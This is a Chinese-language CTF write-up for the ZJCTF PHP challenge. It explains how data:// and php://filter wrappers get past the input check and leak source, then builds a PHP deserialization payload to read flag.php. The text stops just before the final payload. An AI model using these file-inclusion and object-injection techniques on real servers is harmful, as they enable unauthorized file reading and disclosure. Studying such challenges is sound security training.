1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
通过代码可以知道首要的目标是进入第一个 if 中,进入的条件是满足 text 是被设置了值的且该值为 "welcome to the zjctf"。 进入该条件中需要用到 data:// 协议
1 2 3 4 5 6 data: 需要allow_url_fopen,allow_url_include均为on 这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用的方式如下: http: text/plain,表示的是文本 text/plain;base64,若纯文本没用可用base64编码
使用以下地址可以进入 if 语句中
进入语句之后中看到有 preg_match,该方法与正则表达相关会过滤 '/flag/'。 include () 方法一般存在漏洞可以利用,此处用 php://filter 协议。
1 2 3 4 php: www.ip:port/?file=php: 出来的是base64码需要解码 此协议不受allow_url_fopen,allow_url_include配置影响
构造 payload
输入之后得到 useless.php 的 base64 编码,解码后可得
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
源码中 unserialize 方法能触发反序列化漏洞,因此利用 useless.php 里写的 file_get_contents 直接去读 flag.php,构造 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __construct ( ) { $this ->file = "flag.php" ; } } $a = new Flag ();$b = serialize ($a );echo urlencode ($b );?>
得到
1 password=O%3 A4%3 A%22 Flag%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 file%22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 B%7 D
最终 payload 为